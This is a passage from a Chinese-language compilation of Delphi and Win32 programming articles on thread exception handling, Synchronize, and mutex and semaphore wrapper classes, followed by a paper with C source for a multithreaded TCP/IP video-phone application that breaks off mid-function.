以上两个控件集是Delphi不使用BDE的第三方控件集中的佼佼者，当然，与以上控件集具有同样功能的控件集有很多，比如ODBC98就和ODBC Express一样应用ODBC访问数据库，而且功能强大，读者如果有兴趣可以自己研究。在这两个控件集中，笔者更加欣赏Diamond Access，它方法数据库的速度和使用上的简便是ODBC Express所欠缺的。


捕捉Thread的异常

Thread 是我们进行应用和设计时不可缺少的利器，然而它却不是轻易就可以掌握的。作为一个不可视系统组件，它封装在 TThread 类中，由于一个子线程可以与主线程同时运行，因此，来自子 Thread 的异常在主程序里未必能捕捉到，这样，来自子线程的异常就会导致 Application 的错误甚至是崩溃，也可能造成主程序都结束了，某个Thread 还因等待同步对象的信号还在那儿自己运行着。

    所以，对于有必要进行异常控制的 Thread 就必须进行异常处理，这个异常处理模块最好独立于主程序的异常处理模块。我们都知晓对通常异常的捕获都用一个 try..finally 块来处理，而对来自Thread的异常也不例外：
procedure TMyThread.Execute;
begin
try
// 在安全区应该做的工作
except
// 处理所有的异常
end;
end;
    通常，这样的处理可以正常的工作，但却不是恰当的解决方法。我们希望不仅把异常信息传递给用户，而且要求在不影响 Thread 继续工作的前提下，由Application或系统单元(致命异常)来进一步处理异常。要做这样处理，首先，我们在自己的 Thread 类里定义一个异常对象，由这个对象承载各种要处理的异常类实例。其次，建立响应异常的同步事件。对 EAbort 消息加以抑制，对来自程序本身的异常由 Application 处理，对系统级异常，一般交与操作系统来完成。
    以下是一个简单的异常捕捉应用框架。
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes,
Graphics, Controls, Forms, Dialogs, StdCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
Procedure RunThread;
public
{ Public declarations }
end;

TBaseThread = class(TThread)
private
FException:
Exception;
procedure DoHandleException;
protected
procedure Execute;
override;
//父类函数为虚，在子类再重载其而处理具体事宜
procedure HandleException;
virtual;
public
end;

TMyThread = class(TBaseThread)
private
...
protected
procedure Execute; override;
procedure HandleException; override;
...
public
...
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TBaseThread.DoHandleException;
begin
// 关闭当前主窗体对鼠标的响应
if GetCapture <> 0 then SendMessage(GetCapture, WM_CANCELMODE, 0, 0);
// 判断异常的范围并做相应处理
if FException is Exception then
Application.ShowException(FException)
else
SysUtils.ShowException(FException, nil);
...
end;

procedure TBaseThread.Execute;
begin
FException := nil;
try
...
//处理一些事情
except
//如果发生了异常
HandleException;
end;
end;

procedure TBaseThread.HandleException;
begin
//得到当前异常对象
FException := Exception(ExceptObject);
try
//避免因 EAbort 消息使程序推出
if not (FException is EAbort) then
Synchronize(DoHandleException);
finally
FException := nil;
end;
end;

procedure TMyThread.Execute;
begin
...
end;

procedure TMyThread.HandleException;
begin
...
end;

procedure TForm1.RunThread;
begin
//为 TMyThread 类创建实例
with
TMyThread.Create(True) do
begin
FreeOnTerminate := True;
Resume;
end;
end;


DELPHI中使用多线程的问题

自己进行线程同步来替代SYNCHRONIZE在DELPHI中是绝对不对的。

因为SYNCHRONIZE执行的操作为首先挂起调用SYNCHRONIZE的线程

然后用主线程去执行需要SYNCHRONIZE的代码(通过消息激发机制）

而线程同步却无法作到这一点，它不能实现用主线程去执行该代码，这样

在DELPHI中是绝对不允许的。

写SYNCHRONIZE的一般规则：

所有涉及到界面显示的代码必须首先封装到THREAD类的一个

无参数PROCEDURE中，然后在THREAD的EXECUTE的代码中调用

SYNCHRONIZE去实现

SYNCHRONIZE是THREAD类的一个METHOD

它的参数为PROCEDURE OF OBJECT

必须是类的成员，我们一般使用该类的一个PRIVATE METHOD去实现

所以如果不用SYNCHRONIZE，则可以使用POSTMESSAGE的方式

来激活主线程去执行涉及到VCL类库的代码，其实这是SYNCHRONIZE方法的

一种模拟。

线程同步中的代码绝对不允许有函数调用，因为线程同步的保护代码对于

子函数中的代码起不到保护作用。


扩展Delphi的线程同步对象

（作者：于华　2001年04月05日 10:06）

    在编写多线程应用程序时，最重要的是控制好线程间的同步资源访问，以保证线程的安全运行。Win 32 API提供了一组同步对象，如：信号灯(Semaphore)、互斥（Mutex）、临界区（CriticalSection）和事件(Event)等，用来解决这个问题。

    Delphi分别将事件对象和临界区对象封装为Tevent对象和TcritialSection对象，使得这两个对象的使用简单且方便。但是如果在Delphi程序中要使用信号灯或互斥等对象就必须借助于复杂的Win32 API函数，这对那些不熟悉Win32 API函数的编程人员来说很不方便。因此，笔者用Delphi构造了两个类,对信号灯和互斥对象进行了封装（分别为TSemaphore和TMutex），希望对广大Delphi编程人员有所帮助。

    一、类的构造

    我们先对Win32 API的信号灯对象和互斥对象进行抽象，构造一个父类THandleObjectEx，然后由这个父类派生出两个子类Tsemphore和Tmutex。

    类的源代码如下：

    unit SyncobjsEx;

    interface

    uses Windows,Messages,SysUtils,Classes,Syncobjs;

    type

     THandleObjectEx = class(THandleObject)

    // THandleObjectEx为互斥类和信号灯类的父类

     protected

     FHandle: THandle;

     FLastError: Integer;

     public

     destructor Destroy; override;

     procedure Release;override;

     function WaitFor(Timeout: DWORD): TWaitResult;

     property LastError:Integer read FLastError;

     property Handle: THandle read FHandle;

     end;

     TMutex = class(THandleObjectEx)//互斥类

     public

     constructor Create(MutexAttributes: PSecurityAttributes; InitialOwner: Boolean;const Name:string);

     procedure Release; override;

     end;

     TSemaphore = class(THandleObjectEx)

    //信号灯类

    public

    constructor Create(SemaphoreAttributes: PSecurityAttributes;InitialCount:Integer;MaximumCount: integer; const Name: string);

    procedure Release(ReleaseCount: Integer=1;PreviousCount:Pointer=nil)；overload;

     end;

    implementation

    { THandleObjectEx }//父类的实现

    destructor THandleObjectEx.Destroy;

    begin

     Windows.CloseHandle(FHandle);

     inherited Destroy;

    end;

    procedure THandleObjectEx.Release;

    begin

    end;

    function THandleObjectEx.WaitFor(Timeout: DWORD): TWaitResult;

    //等待函数，参数为等待时间

    begin

    case WaitForSingleObject(Handle, Timeout) of

    WAIT_ABANDONED: Result := wrAbandoned;

    //无信号

    WAIT_OBJECT_0: Result := wrSignaled;

    //有信号

    WAIT_TIMEOUT: Result := wrTimeout;//超时

    WAIT_FAILED://失败

     begin

     Result := wrError;

     FLastError := GetLastError;

     end;

     else

     Result := wrError;

     end;

    end;

    { TSemaphore }//信号灯类的实现

    constructor TSemaphore.Create(SemaphoreAttributes: PSecurityAttributes;

     InitialCount, MaximumCount: integer; const Name: string);//信号灯类的构造函数

    begin

    FHandle := CreateSemaphore

    (SemaphoreAttributes,InitialCount,

    MaximumCount,PChar(Name));

    //四个参数分别为：安全属性、初始信号灯计数、最大信号灯计数、信号灯名字

    end;

    procedure TSemaphore.Release(ReleaseCount: Integer=1; PreviousCount: Pointer=nil);

    //信号灯类的Release方法，每执行一次按指定量增加信号灯计数

    begin

     Windows.ReleaseSemaphore(FHandle, ReleaseCount, PreviousCount);

    end;

    { TMutex }//互斥类的实现

    constructor TMutex.Create(MutexAttributes: PSecurityAttributes;

    InitialOwner: Boolean; const Name: string);

    //互斥类的构造函数

    begin

     FHandle := CreateMutex(MutexAttributes, InitialOwner, PChar(Name));

    end;

    procedure TMutex.Release;//互斥类的Release方法，用来释放对互斥对象的所有权

    begin

     Windows.ReleaseMutex(FHandle);

    end;

    end.

    二、信号灯对象与互斥对象的使用

    1. 信号灯对象

    信号灯对象维持一个从0到指定最大值之间的数。在其计数大于0时是有信号的，而在其计数为0时是无信号的。信号灯对象可用来限制对共享资源进行访问的线程数量，例如应用程序可使用信号灯对象来限制它建立的窗口数量。

    用类的Create方法来建立信号灯对象，在调用该方法时，可以指定对象的初始计数和最大计数。该方法有四个参数，依次为：安全属性、初始计数、最大计数和对象名字（以便别的进程的线程可打开指定名字的信号灯句柄）。如：

    Semaphore := TSemaphore.Create(nil,10,10,'');

    一般把信号灯的初始计数设置成最大值。每次当信号灯有信号并等待函数返回时，信号灯计数就会减1，而通过调用对象的Release方法可按指定量增加信号灯的计数（默认为加1）。计数值越小就表明访问共享资源的程序越多。如：“Semaphore.Release(3, nil);”，其中第一个参数为增加的信号灯数量，第二个参数为执行该方法之前的信号灯数量。信号灯用法举例：

    if wrSignaled = Semaphore.WaitFor(10000) then//若信号灯是有信号的

    begin

     //打开另一个窗口

    end

     Semaphore.Release()

    在线程建立窗口之前，它使用WaitFor函数确定信号灯的当前计数是否允许建立新的窗口，等待时间设为10秒。

    2. 互斥对象

    Mutex对象的状态在它不被任何线程拥有时是有信号的，而当它被拥有时则是无信号的。Mutex对象很适合用来协调多个线程对共享资源的互斥访问(mutually exclusive)。例如，有几个线程共享对数据库的访问时，线程可以使用Mutex对象，一次只允许一个线程向数据库写入。

    用类的Create方法建立Mutex 对象，在建立Mutex 时，可以为对象起个名字，这样其他进程中的线程可以打开指定名字的Mutex对象句柄。例如：

    Mutex := TMutex.Create(nil, False, '');

    在完成对共享资源的访问后，可以调用Release方法来释放Mutex，以便让别的线程能访问共享资源。如果线程终止而不释放Mutex，则认为该Mutex被废弃。

    互斥对象用法举例如下：

    if wrSignaled = Mutex.WaitFor(10000) then//若获得互斥对象的拥有权

     begin

     try

     //往数据库写入

     finally

    Mutex.Release;//释放对互斥对象的拥有权

     end;

     end;

    上述类代码在Windows 98，Delphi 5.0下调试通过。


多线程编程技术及其实现

吴 芸 徐 超
（ 芜 湖 市 电 信 局 241000） （ 中 国 科 学 技 术 大 学230027）
【 摘 要】 本 文 首 先 讨 论16 位Windows 下 不 具 备 的 线 程 的 概 念， 然 后 着 重 讲
述 在32 位Windows 95 环 境 下 多 线 程 的 编 程 技 术， 最 后 给 出 利 用 该 技 术 的 一 个 实
例， 即 基 于Windows 95 下TCP/IP 的 可 视 电 话 的 实 现。
【 关 键 词】16 位Windows 环 境，32 位Windows 95 环 境， 进 程， 线 程，TCP/IP，

可 视 电 话
一 、问 题 的 提 出
作 者 最 近 在 开 发 基 于Internet 网 上 的 可 视 电 话 过 程 中， 碰 到 了 这 样 一 个
问 题。 在 基 于Internet 网 上 的 可 视 电 话 系 统 中， 同 时 要 进 行 语 音 采 集、 语 音 编 解
码、 图 象 采 集、 图 象 编 解 码、 语 音 和 图 象 码 流 的 传 输， 所 有 的 这 些 事 情， 都 要 并 行 处
理。 特 别 是 语 音 信 号， 如 果 进 行 图 象 编 解 码 时 间 过 长， 语 音 信 号 得 不 到 服 务， 通 话

就 有 间 断， 如 果 图 象 或 语 音 处 理 时 间 过 长， 而 不 能 及 时 的 传 输 码 流 数 据， 通 信 同 样
也 会 中 断。 这 样 就 要 求 我 们 实 现 一 种 并 行 编 程， 在 只 有 一 个CPU 的 机 器 上， 也 就 是
要 将 该CPU 时 间 按 照 一 定 的 优 先 准 则 分 配 给 各 个 事 件， 定 期 处 理 某 一 事 件 而 不 会
在 某 一 事 件 处 理 过 长， 在32 位Windows 95 或Windows NT 下， 我 们 可 以 用 多 线 程 的
编 程 技 术 来 实 现 这 种 并 行 编 程。 实 际 上， 这 种 并 行 编 程 在 很 多 场 合 下 都 是 必 须 的。

例 如， 在File Manager 拷 贝 文 件 时， 它 显 示 一 个 对 话 框， 列 出 源 文 件 和 目 标 文 件 的
名 称， 并 在 对 话 框 中 包 含 了 一 个Cancel 按 钮。 如 果 在 文 件 拷 贝 过 程 中， 点 中Cancel
按 钮， 就 会 终 止 拷 贝。 在16 位Windows 中， 实 现 这 类 功 能 需 要 在File Copy 循 环 内 部
周 期 性 地 调 用PeekMessage 函 数。 如 果 正 在 读 一 个 很 大 的 数 据 块， 则 只 有 当 这 个 块
读 完 以 后 才 能 响 应 这 个 按 钮 动 作， 如 果 从 软 盘 读 文 件， 则 要 花 费 好 几 秒 的 时 间， 由

于 机 器 反 应 太 迟 钝， 你 会 频 繁 地 点 中 这 个 按 钮， 以 为 系 统 不 知 道 你 想 终 止 这 个 操
作。 如 果 把File Copy 指 令 放 入 另 外 一 个 线 程， 你 就 不 需 要 在 代 码 中 放 一 大
堆PeekMessage 函 数， 处 理 用 户 界 面 的 线 程 将 与 它 分 开 操 作， 这 样， 点 中Cancel 按
钮 后 会 立 即 得 到 响 应。 同 样 的 道 理， 在 应 用 程 序 中 创 建 一 个 单 独 线 程 来 处 理 所 有
打 印 任 务 也 是 很 有 用 的， 这 样， 用 户 可 以 在 打 印 处 理 时 继 续 使 用 应 用 程 序。

二 、线 程 的 概 念
为 了 了 解 线 程 的 概 念， 我 们 必 须 先 讨 论 一 下 进 程 的 概 念。
一 个 进 程 通 常 定 义 为 程 序 的 一 个 实 例。 在Win32 中， 进 程 占 据4GB 的 地 址 空
间。 与 它 们 在MS-DOS 和16 位Windows 操 作 系 统 中 不 同，Win32 进 程 是 没 有 活 力 的。 这
就 是 说， 一 个Win32 进 程 并 不 执 行 什 么 指 令， 它 只 是 占 据 着4GB 的 地 址 空 间， 此 空 间
中 有 应 用 程 序 EXE 文 件 的 代 码 和 数 据。EXE 需 要 的 任 意DLL 也 将 它 们 的 代 码 和 数 据

装 入 到 进 程 的 地 址 空 间。 除 了 地 址 空 间， 进 程 还 占 有 某 些 资 源， 比 如 文 件、 动 态 内
存 分 配 和 线 程。 当 进 程 终 止 时， 在 它 生 命 期 中 创 建 的 各 种 资 源 将 被 清 除。
但 是 进 程 是 没 有 活 力 的， 它 只 是 一 个 静 态 的 概 念。 为 了 让 进 程 完 成 一 些 工
作， 进 程 必 须 至 少 占 有 一 个 线 程， 所 以 线 程 是 描 述 进 程 内 的 执 行， 正 是 线 程 负 责 执
行 包 含 在 进 程 的 地 址 空 间 中 的 代 码。 实 际 上， 单 个 进 程 可 以 包 含 几 个 线 程， 它 们 可

以 同 时 执 行 进 程 的 地 址 空 间 中 的 代 码。 为 了 做 到 这 一 点， 每 个 线 程 有 自 己 的 一
组CPU 寄 存 器 和 堆 栈。 每 个 进 程 至 少 有 一 个 线 程 在 执 行 其 地 址 空 间 中 的 代 码， 如 果
没 有 线 程 执 行 进 程 地 址 空 间 中 的 代 码， 进 程 也 就 没 有 继 续 存 在 的 理 由， 系 统 将 自
动 清 除 进 程 及 其 地 址 空 间。 为 了 运 行 所 有 这 些 线 程， 操 作 系 统 为 每 个 独 立 线 程 安
排 一 些CPU 时 间， 操 作 系 统 以 轮 转 方 式 向 线 程 提 供 时 间 片， 这 就 给 人 一 种 假 象， 好

象 这 些 线 程 都 在 同 时 运 行。 创 建 一 个Win32 进 程 时， 它 的 第 一 个 线 程 称 为 主 线 程，
它 由 系 统 自 动 生 成， 然 后 可 由 这 个 主 线 程 生 成 额 外 的 线 程， 这 些 线 程， 又 可 生 成 更
多 的 线 程。
三、线 程 的 编 程 技 术
1、编 写 线 程 函 数
所 有 线 程 必 须 从 一 个 指 定 的 函 数 开 始 执 行， 该 函 数 称 为 线 程 函 数， 它 必 须
具 有 下 列 原 型： DWORD WINAPI YourThreadFunc(LPVOIDlpvThreadParm);

该 函 数 输 入 一 个LPVOID 型 的 参 数， 可 以 是 一 个DWORD 型 的 整 数， 也 可 以 是
一 个 指 向 一 个 缓 冲 区 的 指 针， 返 回 一 个DWORD 型 的 值。 象WinMain 函 数 一 样， 这 个 函
数 并 不 由 操 作 系 统 调 用， 操 作 系 统 调 用 包 含 在KERNEL32.DLL 中 的 非C 运 行 时 的 一
个 内 部 函 数， 如StartOfThread， 然 后 由StartOfThread 函 数 建 立 起 一 个 异 常 处 理
框 架 后， 调 用 我 们 的 函 数。

2、创 建 一 个 线 程
一 个 进 程 的 主 线 程 是 由 操 作 系 统 自 动 生 成， 如 果 你 要 让 一 个 主 线 程 创 建
额 外 的 线 程， 你 可 以 调 用 来CreateThread 完 成。
HANDLE CreateThread(LPSECURITY_ATTRIBUTES lpsa, DWORD
cbstack, LPTHREAD_START_ROUTINE lpStartAddr, LPVOID lpvThreadParm,
DWORD fdwCreate, LPDWORD lpIDThread);
其 中lpsa 参 数 为 一 个 指 向SECURITY_ATTRIBUTES 结 构 的 指 针。 如 果 想 让 对

象 为 缺 省 安 全 属 性 的 话， 可 以 传 一 个NULL， 如 果 想 让 任 一 个 子 进 程 都 可 继 承 一 个
该 线 程 对 象 句 柄， 必 须 指 定 一 个SECURITY_ATTRIBUTES 结 构， 其 中bInheritHandle
成 员 初 始 化 为TRUE。 参 数cbstack 表 示 线 程 为 自 己 所 用 堆 栈 分 配 的 地 址 空 间 大
小，0 表 示 采 用 系 统 缺 省 值。 参 数lpStartAddr 用 来 表 示 新 线 程 开 始 执 行 时 代 码 所
在 函 数 的 地 址， 即 为 线 程 函 数。lpvThreadParm 为 传 入 线 程 函 数 的 参 数，fdwCreate

参 数 指 定 控 制 线 程 创 建 的 附 加 标 志， 可 以 取 两 种 值。 如 果 该 参 数 为0， 线 程 就 会 立
即 开 始 执 行， 如 果 该 参 数 为CREATE_SUSPENDED， 则 系 统 产 生 线 程 后， 初 始 化CPU， 登
记CONTEXT 结 构 的 成 员， 准 备 好 执 行 该 线 程 函 数 中 的 第 一 条 指 令， 但 并 不 马 上 执
行， 而 是 挂 起 该 线 程。 最 后 一 个 参 数lpIDThread 是 一 个DWORD 类 型 地 址， 返 回 赋 给
该 新 线 程 的ID 值。

3、终 止 线 程
如 果 某 线 程 调 用 了ExitThread 函 数， 就 可 以 终 止 自 己。
VOID ExitThread( UINT fuExitCode );
这 个 函 数 为 调 用 该 函 数 的 线 程 设 置 了 退 出 码fuExitCode 后， 就 终 止 该 线
程。
调 用TerminateThread 函 数 亦 可 终 止 线 程。
BOOL TerminateThread( HANDLE hThread, DWORD dwExitCode);
该 函 数 用 来 结 束 由hThread 参 数 指 定 的 线 程， 并 把dwExitCode 设 成 该 线 程

的 退 出 码。 当 某 个 线 程 不 在 响 应 时， 我 们 可 以 用 其 他 线 程 调 用 该 函 数 来 终 止 这 个
不 响 应 的 线 程。
4、设 定 线 程 的 相 对 优 先 级
当 一 个 线 程 被 首 次 创 建 时， 它 的 优 先 级 等 同 于 它 所 属 进 程 的 优 先 级。 在 单
个 进 程 内 可 以 通 过 调 用SetThreadPriority 函 数 改 变 线 程 的 相 对 优 先 级。 一 个 线
程 的 优 先 级 是 相 对 于 其 所 属 的 进 程 的 优 先 级 而 言 的。

BOOL SetThreadPriority( HANDLE hThread, int nPriority );
其 中 参 数hThread 是 指 向 待 修 改 优 先 级 线 程 的 句 柄，nPriority 可 以 是 以
下 的 值：
THREAD_PRIORITY_LOWEST,THREAD_PRIORITY_BELOW_NORMAL,THREAD_P
RIORITY_NORMAL,THREAD_PRIORITY_ABOVE_NORMAL,THREAD_PRIORITY_H IGHEST

5、挂 起 及 恢 复 线 程
先 前 我 提 到 过 可 以 创 建 挂 起 状 态 的 线 程（ 通 过 传 递CREATE_SUSPENDED 标

志 给 函 数CreateThread 来 实 现）。 当 你 这 样 做 时， 系 统 创 建 指 定 线 程 的 核 心 对 象，
创 建 线 程 的 栈， 在CONTEXT 结 构 中 初 始 化 线 程CPU 注 册 成 员。 然 而， 线 程 对 象 被 分 配
了 一 个 初 始 挂 起 计 数 值1， 这 表 明 了 系 统 将 不 再 分 配CPU 去 执 行 线 程。 要 开 始 执 行
一 个 线 程， 另 一 个 线 程 必 须 调 用ResumeThread 并 传 递 给 它 调 用CreateThread 时 返
回 的 线 程 句 柄。 DWORD ResumeThread( HANDLE hThread );

一 个 线 程 可 以 被 挂 起 多 次。 如 果 一 个 线 程 被 挂 起3 次， 则 该 线 程 在 它 被 分
配CPU 之 前 必 须 被 恢 复3 次。 除 了 在 创 建 线 程 时 使 用CREATE_SUSPENDED 标 志， 你 还
可 以 用SuspendThread 函 数 挂 起 线 程。
DWORD SuspendThread( HANDLE hThread );
四、多 线 程 编 程 技 术 的 应 用
我 在 前 面 说 过， 为 了 实 现 基 于TCP/IP 下 的 可 视 电 话， 就 必 须“ 并 行” 地 执 行

语 音 采 集、 语 音 编 解 码、 图 象 采 集、 图 象 编 解 码 以 及 码 流 数 据 的 接 收 与 发 送。 语 音
与 图 象 的 采 集 由 硬 件 采 集 卡 进 行， 我 们 的 程 序 只 需 初 始 化 该 硬 件 采 集 卡， 然 后 实
时 读 取 采 集 数 据 即 可， 但 语 音 和 图 象 数 据 的 编 解 码 以 及 码 流 数 据 的 传 输 都 必 须 由
程 序 去 协 调 执 行， 决 不 能 在 某 一 件 事 件 上 处 理 过 长， 必 须 让CPU 轮 流 的 为 各 个 事 件
服 务，Windows 95 下 的 线 程 正 是 满 足 这 种 要 求 的 编 程 技 术。

下 面 我 给 出 了 利 用Windows 95 环 境 下 的 多 线 程 编 程 技 术 实 现 的 基
于TCP/IP 的 可 视 电 话 的 部 分 源 码， 其 中 包 括 主 窗 口 过 程 函 数， 以 及 主 叫 端 与 被 叫
端 的TCP/IP 接 收 线 程 函 数 和 语 音 编 解 码 的 线 程 函 数。 由 于 图 象 编 解 码 的 实 时 性 比
语 音 处 理 与 传 输 模 块 的 实 时 性 的 要 求 要 低 些， 所 以 我 以 语 音 编 解 码 为 事 件 去 查 询
图 象 数 据， 然 后 进 行 图 象 编 解 码， 而 没 有 为 图 象 编 解 码 去 单 独 实 现 一 个 线 程。

在 主 窗 口 初 始 化 时， 我 用CREATE_SUSPENDED 标 志 创 建 了 两 个 线
程hThreadG7231 和hThreadTCPRev。 一 个 用 于 语 音 编 解 码， 它 的 线 程 函 数
为G723Proc， 该 线 程 不 断 查 询 本 地 有 无 编 好 码 的 语 音 和 图 象 的 码 流， 如 有， 则 进
行H.223 打 包， 然 后 通 过TCP 的 端 口 发 送 给 对 方。 另 外 一 个 线 程 用 于TCP/IP 的 接 收，
它 的 线 程 函 数 为AcceptThreadProcRev， 该 线 程 不 断 侦 测TCP/IP 端 口 有 无 对 方 传

来 的 码 流， 如 有， 就 接 收 码 流， 进 行H.223 解 码 后 送 入 相 应 的 缓 冲 区。 该 缓 冲 区 的 内
容， 由 语 音 编 解 码 线 程G723Proc 查 询， 并 送 入 相 应 的 解 码 器。 由 于 使 用 了 多 线 程 的
编 程 技 术， 使 得 操 作 系 统 定 时 去 服 务 语 音 编 解 码 模 块 和 传 输 模 块， 从 而 保 证 了 通
信 的 不 中 断。
五、程 序 源 码
// 基 于TCP/IP 可 视 电 话 主 窗 口 的 窗 口 过 程

LONG APIENTRY MainWndProc(HWND hWnd,UINT message,UINT wParam,
LONG
lParam){
static HANDLE
hThreadG7231,hThreadTCPListen,hThreadTCPRev;
DWORDThreadIDG7231,ThreadIDTCPListen,ThreadIDTCPRev;
static
THREADPACK tp;
static THREADPACK tp1;
unsigned char Buf[80];
CAPSTATUS
capStatus;
switch (message) {
case
WM_CREATE:
Init_Wsock(hWnd); //初始化一些数据结构
Init_BS(2,&bs);
vd_tx_pdu.V_S
= 0;vd_tx_pdu.N_S = 0;
vd_rx_pdu.V_R = 0;vd_tx_sdu.bytes =
0;
if( dnldProg ( hWnd, "h324g723.exe") )

{//装入语音编解码的DSP核心
MessageBox(hWnd,"Load G.723.1 Kernel Error","Error",MB_OK);
PostQuitMessage(0); }
else
MessageBox(hWnd,"Load G.723.1 Kernel OK!","Indication",MB_OK);
//创建语音编解码的线程
parag7231.hWnd = hWnd;
hThreadG7231=CreateThread (NULL, 0,
(LPTHREAD_START_ROUTINE)G723Proc,
(G7231DATA *)&#182;g7231,CREATE_SUSPENDED,
(LPDWORD)&ThreadIDG7231);
if (!hThreadG7231){
wsprintf(Buf, "Error in creating G7231 thread: %d",GetLastError());
MessageBox (hWnd, Buf, "WM_CREATE", MB_OK);}
//创建TCP/IP接收线程

tp1.hWnd = hWnd;
hThreadTCPRev = CreateThread (NULL, 0,
(LPTHREAD_START_ROUTINE)AcceptThreadProcRev,
(G7231DATA *)&tp1,CREATE_SUSPENDED,
(LPDWORD)&ThreadIDTCPRev);
if (!hThreadTCPRev){
wsprintf(Buf, "Error in creating TCP Receive thread: %d",GetLastError());
MessageBox (hWnd, Buf, "WM_CREATE", MB_OK);}
//开始侦听网络
SendMessage(hWnd,WM_COMMAND,IDM_LISTEN,NULL);
break;
case WM_VIDEO_ENCODE: //图象编码
if(needencode)EncodeFunction(hWnd);
needencode = SendVideoToBuff(&vd_tx_sdu, buff);

frameMode=TRUE;
capPreview(capWnd,FALSE);capOverlay(capWnd,FALSE);
capGrabFrameNoStop(capWnd);
break;
case
WM_VIDEO_DECODE: //图象解码
Video_Decod_begin =
1;
play_movie();
Video_Decod_begin =
0;
break;
case WM_COMMAND:
switch(LOWORD(wParam))
{
case IDM_CONNECT:
//
响应对方的呼叫，接通可视电话
WskConnect( hWnd
);
ResumeThread(hThreadTCPRev);//运行TCP/IP接收线程
ResumeThread(hThreadG7231);//运行语音编解码线程
BeginG7231Codec();
//初始化图象采集卡，并开始采集图象
frameMode
= FALSE;
capWnd= capCreateCaptureWindow((LPSTR)"Capture
Window",

WS_CHILD | WS_VISIBLE,
100, 100, 176,144 ,
(HWND) hWnd, (int) 0) ;
capSetCallbackOnError(capWnd, (FARPROC)ErrorCallbackProc) ;
capSetCallbackOnStatus(capWnd, (FARPROC)StatusCallbackProc) ;
capSetCallbackOnFrame(capWnd, (FARPROC)FrameCallbackProc) ;
capDriverConnect(capWnd, 0);
CenterCaptureWindow(hWnd, capWnd);
capDlgVideoSource(capWnd);
capDlgVideoFormat(capWnd);
capDlgVideoCompression(capWnd);
capGetStatus(capWnd,&capStatus,sizeof(CAPSTATUS));

StartNewVideoChannel(hWnd, capWnd) ;
image =
image_one;
frameMode =
TRUE;
capPreview(capWnd,FALSE);
capOverlay(capWnd,FALSE);
capGrabFrameNoStop(capWnd);
break;
case IDM_LISTEN: //拨对方号码，呼叫对方
sock = socket( AF_INET,
SOCK_STREAM, 0);
if (sock == INVALID_SOCKET) {
MessageBox(hWnd,
"socket() failed", "Error", MB_OK);
closesocket(sock);
break;}
if
(!FillAddr(hWnd, &local_sin, FALSE ))
//
获取TCP/IP地址和端口号
break;
EnableMenuItem(GetMenu( hWnd ), IDM_LISTEN,
MF_GRAYED);

SetWindowText( hWnd, "Waiting for connection..");
bind ( sock , (struct
sockaddr FAR *)&local_sin,sizeof(local_sin);
if (listen( sock,
MAX_PENDING_CONNECTS ) < 0) {
sprintf(szBuff, "%d is the error",
WSAGetLastError());
MessageBox(hWnd, szBuff, "listen(sock) failed",
MB_OK);
break;}
tp.hWnd = hWnd;//开始本地的TCP/IP接收线程
_beginthread(AcceptThreadProc,0,&tp);
ResumeThread(hThreadG7231); //
开始本地语音编解码的线程
break;
case IDM_DISCONNECT:
//挂断可视电话
CloseG7231Codec();
SuspendThread(hThreadG7231);
SuspendThread(hThreadTCPRev);
WSACleanup();
Init_Video_Decod_Again();

 capSetCallbackOnError(capWnd, NULL) ;
capSetCallbackOnStatus(capWnd, NULL) ;
InvalidateRect(hWnd,NULL,1);
capSetCallbackOnFrame(capWnd, NULL)
;
capSetCallbackOnVideoStream(capWnd, NULL)
;
capDriverDisconnect(capWnd);
Init_Wsock(hWnd);
MessageBox(hWnd,
"Now closing the Video
telephone","",MB_OK);
SetDisConnectMenus(hWnd);
SendMessage(hWnd, WM_COMMAND,IDM_LISTEN,NULL);
break;
case
IDM_EXIT:
CloseG7231Codec();
SendMessage(hWnd,
WM_CLOSE, 0, 0l);
break;
default:
return (DefWindowProc(hWnd,
message, wParam, lParam));
}
break;
case WM_CLOSE:
if (IDOK !=
MessageBox( hWnd, "OK to close window?", gszAppName,
MB_ICONQUESTION |
MB_OKCANCEL ))
break ;
case WM_DESTROY:
WSACleanup();

CloseG7231Codec();
TerminateThread(hThreadG7231,0);
TerminateThread(hThreadTCPRev,0);
capSetCallbackOnError(capWnd,
NULL) ;
capSetCallbackOnStatus(capWnd, NULL)
;
capSetCallbackOnFrame(capWnd, NULL)
;
capSetCallbackOnVideoStream(capWnd, NULL)
;
capDriverDisconnect(capWnd);
FreeAll();
PostQuitMessage(0);
break;
default:
/* Passes it on if unproccessed*/
return (DefWindowProc(hWnd, message,
wParam, lParam));
}
return
(0);
}
//主叫方TCP/IP接收线程
DWORD WINAPI AcceptThreadProc(
PTHREADPACK ptp ){
SOCKADDR_IN acc_sin;/* Accept socket address -
internet style*/
int acc_sin_len;/* Accept socket address length
*/
int status;

 acc_sin_len = sizeof(acc_sin);
//调用阻塞函数accept,一直到远端响应为止
sock = accept( sock,(struct sockaddr
FAR *)
&acc_sin,(int FAR *) &acc_sin_len );

 if (sock < 0) {
sprintf(szBuff, "%d is the error",
WSAGetLastError());
MessageBox(ptp->hWnd, szBuff, "accept(sock) failed",
MB_OK);
return (1);
}

 SetConnectMenus( ptp->hWnd );
//远端提机，可视电话接通
BeginG7231Codec();
while (1) {
beg1: status
= recv((SOCKET)sock, r_mux_buf,
MY_MSG_LENGTH, NO_FLAGS_SET );
if (status == SOCKET_ERROR) {
status
= WSAGetLastError();
if( status == 10054
){
MessageBox(ptp->hWnd,"对方挂断电话","Indication",
MB_OK);
SendMessage( ptp->hWnd,
WM_COMMAND,IDM_DISCONNECT,NULL);
_endthread();
return
(1);
}
goto beg1;
}
if (status)
{
r_mux_buf[ status ] = '\0';
if( r_mux_buf_filled == 1
)
r_mux_buf_overwrite = 1;
else
r_mux_buf_filled =
1;
r_mux_buf_length = status;
}
else {
MessageBox( hWnd,
"Connection broken", "Error", MB_OK);
SendMessage( ptp->hWnd,
WM_COMMAND,
IDM_DISCONNECT,NULL);
_endthread();
return
(2);
}
demux();
//线路码流H.223解码
}
return (0);
}

//被叫方TCP/IP接收线程
DWORD WINAPI AcceptThreadProcRev( PTHREADPACK ptp
){
int status;
while (1) {
beg2:status = recv((SOCKET)sock, r_mux_buf,
MY_MSG_LENGTH, NO_FLAGS_SET );
if (status == SOCKET_ERROR) {
status
=WSAGetLastError();
if( status == 10054
){
MessageBox(ptp->hWnd,"对方挂断电话","Indication",
MB_OK);
SendMessage( ptp->hWnd,
WM_COMMAND,
IDM_DISCONNECT,NULL);
return (1);
}
